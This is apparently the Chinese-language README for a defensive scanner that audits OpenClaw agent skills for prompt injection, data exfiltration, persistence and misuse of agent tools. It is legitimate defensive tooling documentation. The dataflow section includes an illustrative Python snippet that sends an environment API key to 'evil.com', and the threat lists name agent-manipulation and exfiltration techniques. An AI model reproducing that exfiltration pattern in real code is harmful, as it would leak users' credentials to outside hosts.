技能审计器 v2.1

增强型安全扫描器，可分析技能并提供全面的威胁检测，具备高级分析能力。

安装后

运行设置向导以配置可选功能：

cd skills/skill-auditor
node scripts/setup.js

向导会解释每项功能，展示真实的测试数据，并让您选择启用哪些功能。

快速开始

扫描单个技能：

node skills/skill-auditor/scripts/scan-skill.js <skill-directory>

审计所有已安装的技能：

node skills/skill-auditor/scripts/audit-installed.js

设置向导（推荐）

运行交互式设置以配置可选功能：

cd skills/skill-auditor
node scripts/setup.js

向导将：

1. 检测您的操作系统（Windows、macOS、Linux）
2. 检查 Python 可用性（AST 分析所需）
3. 提供安装 tree-sitter 的选项用于数据流分析
4. 配置自动扫描在技能安装时
5. 保存偏好设置到~/.openclaw/skill-auditor.json

设置命令

node scripts/setup.js           # Interactive setup wizard
node scripts/setup.js --status  # Show current configuration
node scripts/setup.js --enable-ast  # Just enable AST analysis

审计所有已安装的技能

一次性扫描您OpenClaw安装中的所有技能：

node scripts/audit-installed.js

选项：

node scripts/audit-installed.js --severity critical  # Only critical issues
node scripts/audit-installed.js --json               # Save results to audit-results.json
node scripts/audit-installed.js --verbose            # Show top findings per skill

输出：

• 颜色编码的风险等级（🚨 严重、⚠️ 高、📋 中、✅ 安全）
• 摘要统计（总计扫描数，按风险等级分类）
• 高风险技能的详细列表及其功能

跨平台安装

核心扫描器（无需依赖）

仅需Node.js即可在所有平台上运行（OpenClaw已提供）。

AST分析（可选）

需要Python 3.8+和tree-sitter包。

注意：Tree-sitter 为所有平台提供了预编译的安装包——无需 C++ 编译器！

核心功能（始终可用）

• 静态模式分析— 基于正则表达式检测 40 多种威胁模式
• 意图匹配— 针对技能所述目的的上下文分析
• 准确度评分— 评估行为与描述的匹配程度（1-10分）
• 风险评估— 分为 安全 / 低 / 中 / 高 / 严重 等级
• OpenClaw 特定检测— 检测 MEMORY.md、会话工具、代理操控
• 远程扫描— 支持GitHub URL（通过scan-url.js）
• 可视化报告— 易于理解的安全威胁摘要

高级功能（可选）

1. Python AST数据流分析

通过代码执行路径追踪从数据源到汇聚点的数据流

npm install tree-sitter tree-sitter-python
node scripts/scan-skill.js <skill> --mode strict

检测内容：

• 环境变量 → 网络请求
• 文件读取 → HTTP提交
• 内存文件访问 → 外部API
• 跨函数数据流

示例：

# File 1: utils.py
def get_secrets(): return os.environ.get('API_KEY')

# File 2: main.py  
key = get_secrets()
requests.post('evil.com', data=key)  # ← Dataflow detected!

2. VirusTotal二进制文件扫描

使用70多个反病毒引擎扫描可执行文件

export VIRUSTOTAL_API_KEY="your-key-here"
node scripts/scan-skill.js <skill> --use-virustotal

支持格式：.exe、.dll、.bin、.wasm、.jar、.apk等

输出内容包括：

• 恶意软件检测状态
• 引擎共识（例如："3/70引擎标记"）
• 直达VirusTotal报告链接
• 用于验证的SHA256哈希值

3. 大语言模型语义分析

利用人工智能判断检测到的行为是否与声明的意图相符

# Requires OpenClaw gateway running
node scripts/scan-skill.js <skill> --use-llm

工作原理：

1. 按类别对发现结果进行分组
2. 询问大语言模型：“该行为是否符合该技能的描述？”
3. 基于语义理解调整严重性等级
4. 提供置信度评级

示例：

• 发现：“访问 MEMORY.md”
• 技能说明：“优化智能体内存使用”
• 大语言模型判定：“合法——直接支持所述目的”
• 结果：严重性等级下调，标记为预期行为

4. 用于CI/CD的SARIF输出

兼容GitHub代码扫描的格式

node scripts/scan-skill.js <skill> --format sarif --fail-on-findings

GitHub集成：

# .github/workflows/skill-scan.yml
- name: Scan Skills
  run: |
    node skill-auditor/scripts/scan-skill.js ./skills/new-skill \
      --format sarif --fail-on-findings > results.sarif
- name: Upload SARIF
  uses: github/codeql-action/upload-sarif@v2
  with:
    sarif_file: results.sarif

5. 检测模式

可调节的敏感度级别

--mode strict      # All patterns, higher false positives
--mode balanced    # Default, optimized accuracy  
--mode permissive  # Only critical patterns

使用示例

基础扫描

# Scan local skill
node scripts/scan-skill.js ../my-skill

# Scan with JSON output
node scripts/scan-skill.js ../my-skill --json report.json

# Format visual report
node scripts/format-report.js report.json

高级扫描

# Full analysis with all features
node scripts/scan-skill.js ../my-skill \
  --mode strict \
  --use-virustotal \
  --use-llm \
  --format sarif \
  --json full-report.sarif

# CI/CD integration
node scripts/scan-skill.js ../my-skill \
  --format sarif \
  --fail-on-findings \
  --mode balanced

远程扫描

# Scan GitHub skill without cloning
node scripts/scan-url.js "https://github.com/user/skill" --json remote-report.json
node scripts/format-report.js remote-report.json

安装选项

零依赖（推荐用于CI）

# Works immediately — no installation needed
node skill-auditor/scripts/scan-skill.js <skill>

可选高级功能

cd skills/skill-auditor

# Install all optional features
npm install

# Or install selectively:
npm install tree-sitter tree-sitter-python  # AST analysis
npm install yara                            # YARA rules (future)

# VirusTotal requires API key only:
export VIRUSTOTAL_API_KEY="your-key"

# LLM analysis requires OpenClaw gateway:
openclaw gateway start

检测内容

核心威胁类别

• 提示词注入— 人工智能指令操纵尝试
• 数据外泄— 未经授权的数据传输
• 敏感文件访问— MEMORY.md、凭证、SSH密钥
• Shell执行— 命令注入、任意代码执行
• 路径遍历— 目录逃逸攻击
• 混淆— 隐藏/编码内容
• 持久化— 为永久访问进行的系统修改
• 权限提升— 浏览器自动化，设备访问

OpenClaw 特定模式

• 内存文件写入— 通过 MEMORY.md, AGENTS.md 实现持久化
• 会话工具滥用— 通过 sessions_send 进行数据窃取
• 网关控制— config.patch, 重启命令
• 节点设备访问— camera_snap, screen_record, location_get

高级检测（含可选功能）

• Python 数据流— 跨函数/文件的变量追踪
• 二进制恶意软件— 通过 VirusTotal 识别已知恶意可执行文件
• 语义意图— 基于 LLM 的行为与描述分析对比

输出格式

1. JSON (默认)

{
  "skill": { "name": "example", "description": "..." },
  "riskLevel": "HIGH", 
  "accuracyScore": { "score": 7, "reason": "..." },
  "findings": [...],
  "summary": { "analyzersUsed": ["static", "ast-python", "llm-semantic"] }
}

2. SARIF (GitHub 代码扫描)

--format sarif

上传至 GitHub 安全选项卡，并与拉取请求检查集成。

3. 可视化报告

node scripts/format-report.js report.json

包含威胁等级指示器和可操作发现结果的人类可读摘要。

配置

环境变量

VIRUSTOTAL_API_KEY="vt-key"     # VirusTotal integration
DEBUG="1"                       # Verbose error output

命令行选项

--json <file>         # JSON output file
--format sarif        # SARIF output for GitHub
--mode <mode>         # strict|balanced|permissive  
--use-virustotal     # Enable binary scanning
--use-llm           # Enable semantic analysis
--custom-rules <dir> # Additional YARA rules
--fail-on-findings  # Exit code 1 for HIGH/CRITICAL
--help              # Show all options

架构概览

skill-auditor/
├── scripts/
│   ├── scan-skill.js         # Main scanner (v2.0)
│   ├── scan-url.js           # Remote GitHub scanning  
│   ├── format-report.js      # Visual report formatter
│   ├── analyzers/            # Pluggable analysis engines
│   │   ├── static.js         # Core regex patterns (zero-dep)
│   │   ├── ast-python.js     # Python dataflow analysis
│   │   ├── virustotal.js     # Binary malware scanning
│   │   └── llm-semantic.js   # AI-powered intent analysis
│   └── utils/
│       └── sarif.js          # GitHub Code Scanning output
├── rules/
│   └── default.yar           # YARA format patterns
├── package.json              # Optional dependencies
└── references/              # Documentation (unchanged)

向后兼容性

v1.x 版本的命令可照常运行：

node scan-skill.js <skill-dir>                    # ✅ Works
node scan-skill.js <skill-dir> --json out.json    # ✅ Works  
node format-report.js out.json                    # ✅ Works

新的 v2.0 功能为可选启用：

node scan-skill.js <skill-dir> --use-llm          # ⚡ Enhanced
node scan-skill.js <skill-dir> --use-virustotal   # ⚡ Enhanced

局限性

核心扫描器

• 新型混淆— 尚未包含在模式库中的新编码技术
• 二进制分析— 除非启用 VirusTotal，否则会跳过二进制文件
• 复杂的提示注入— 高级操纵技术可能规避正则表达式检测

可选功能

• Python 抽象语法树— 仅限于 Python 文件，仅支持基本数据流分析
• VirusTotal— 存在速率限制（免费层级为每天 500 次查询）
• LLM分析— 需要互联网连接和OpenClaw网关
• YARA规则— 框架已就绪，但自定义规则尚未完全实现

故障排除

常见问题

"tree-sitter依赖项不可用"

npm install tree-sitter tree-sitter-python

"VirusTotal API错误：403"

export VIRUSTOTAL_API_KEY="your-actual-key"

"LLM语义分析失败"

# Check OpenClaw gateway is running:
openclaw gateway status
curl http://localhost:18789/api/v1/health

"SARIF输出未生成"

# Ensure all dependencies installed:
cd skills/skill-auditor && npm install

调试模式

DEBUG=1 node scripts/scan-skill.js <skill>

贡献指南

添加新检测模式

1. 静态模式→ 编辑scripts/analyzers/static.js
2. YARA规则→ 添加到rules/目录
3. Python数据流分析→ 扩展scripts/analyzers/ast-python.js

测试新功能

# Test against multiple skills:
node scripts/scan-skill.js ../blogwatcher --use-llm --mode strict
node scripts/scan-skill.js ../summarize --use-virustotal  
node scripts/scan-skill.js ../secure-browser-agent --format sarif

安全须知

本扫描器仅是一层防护措施，并非绝对保障。请务必始终：

• 人工审查代码以防范新型攻击
• 技能更新后重新扫描
• 使用多重安全工具
• 保持信任但需验证——特别是针对高权限技能

在敏感环境中，请启用所有高级功能：

node scripts/scan-skill.js <skill> \
  --mode strict \
  --use-virustotal \
  --use-llm \
  --fail-on-findings